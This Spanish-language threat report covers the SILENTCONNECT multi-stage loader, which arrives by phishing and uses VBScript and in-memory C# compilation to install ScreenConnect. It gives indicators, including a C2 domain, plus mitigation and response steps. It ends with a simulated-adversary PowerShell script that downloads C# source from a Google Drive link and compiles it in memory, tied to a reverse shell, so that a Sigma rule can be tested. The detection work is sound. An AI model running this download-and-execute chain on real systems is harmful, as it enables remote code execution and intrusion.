De Invitación a Infección: Cómo SILENTCONNECT Entrega ScreenConnect

Resumen

El informe detalla un cargador de múltiples etapas llamado SILENTCONNECT que se basa en un instalador VBScript, compilación en memoria de PowerShell de código C#, y suplantación de PEB para desplegar silenciosamente la herramienta de gestión remota ConnectWise ScreenConnect. El ataque comienza con un correo electrónico de phishing que lleva a las víctimas a través de una página CAPTCHA de Cloudflare Turnstile antes de servir la carga útil de VBScript. Ese script recupera un componente C# desde Google Drive, lo compila en memoria y luego descarga un MSI de ScreenConnect desde un dominio malicioso para establecer persistencia como un servicio de Windows. La campaña combina servicios de hosting de confianza con binarios que viven en el sistema para reducir su huella de detección.

Investigación

Elastic Security Labs identificó una cadena de alertas inusuales de Script de Windows que finalmente expusieron el archivo E-INVITE.vbs alojado en Cloudflare R2. El análisis mostró que el script lanzaba un comando de PowerShell que llamaba a curl.exe para obtener un archivo fuente de C# desde Google Drive, el cual luego era compilado y ejecutado directamente en memoria. El cargador utilizó NtAllocateVirtualMemory para reservar memoria ejecutable, aplicó suplantación de PEB, e insertó una exclusión de Windows Defender antes de descargar el instalador de ScreenConnect con curl y ejecutarlo a través de msiexec. La telemetría de red reveló que el cliente desplegado alcanzaba un punto de control C2 en bumptobabeco.top sobre el puerto TCP 8041.

Mitigación

Los equipos de seguridad deben vigilar líneas de comandos sospechosas de PowerShell que invoquen curl.exe, la creación de carpetas temporales en C:Temp, y compilaciones inusuales de Add-Type de código fuente C# descargado. La lógica de detección también debe considerar la suplantación de PEB señalando procesos cuyos valores de BaseDLLName o FullDllName no coincidan con la ruta del módulo real. El tráfico saliente hacia dominios desconocidos que albergan instaladores MSI debe ser bloqueado o analizado en detalle, y la ejecución de msiexec debe estar estrictamente controlada para fuentes no confiables. Las exclusiones de Windows Defender deben aplicarse solo mediante flujos de trabajo administrativos aprobados.

Respuesta

Si se observan estos indicadores, aislar inmediatamente el host afectado, matar el proceso malicioso, y eliminar el servicio de ScreenConnect instalado. Recoger evidencia forense incluyendo archivos temporales, el ensamblado .NET compilado, y cualquier paquete MSI descargado. Revertir cualquier exclusión no autorizada de Windows Defender y restaurar las configuraciones de UAC si fueron cambiadas. Luego, buscar en el entorno más amplio artefactos de cargador coincidentes y actualizar el contenido de detección con todos los IOC recién identificados.

Ejecución de Simulación

Prerrequisito: La Comprobación Previa de Telemetría y Línea de Base debe haber pasado.

Motivo: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y pretender generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un diagnóstico erróneo.

• Narrativa de Ataque y Comandos:

  1. Recon Inicial y Recuperación de Payload – El atacante aloja un archivo de origen de C# malicioso en Google Drive. Usando PowerShell, descargan el archivo sin procesar a través de Invoke-WebRequest.
  2. Compilación en Memoria – El archivo de origen de C# descargado se compila directamente en memoria con Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $src.
  3. Ejecución – El tipo .NET resultante se instancia y su método Run() es invocado, estableciendo una shell inversa.
  4. Ofuscación – La línea de comandos se lanza con -ExecutionPolicy Bypass para evitar bloqueos de políticas, coincidiendo con las cadenas exactas que la regla monitorea.

• Script de Prueba de Regresión:

  # -------------------------------------------------
  # Script simulado de adversario – activa la regla Sigma
  # -------------------------------------------------
  # 1. Definir la URL remota del payload C# (enlace compartido de Google Drive)
  $payloadUrl = "https://drive.google.com/uc?export=download&id=YOUR_FILE_ID"
  
  # 2. Descargar el origen de C# en una variable
  $csharpSource = Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing | Select-Object -ExpandProperty Content
  
  # 3. Compilar y cargar el payload en memoria
  Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $csharpSource -Language CSharp
  
  # 4. Ejecutar el payload (asume clase nombrada "Payload" con método estático "Run")
  # -------------------------------------------------

• Comandos de Limpieza:

  # Eliminar cualquier archivo temporal (ninguno creado) y descargar el ensamblaje en memoria
  # PowerShell no proporciona una descarga directa; terminar el proceso si es necesario
  Stop-Process -Id $PID -Force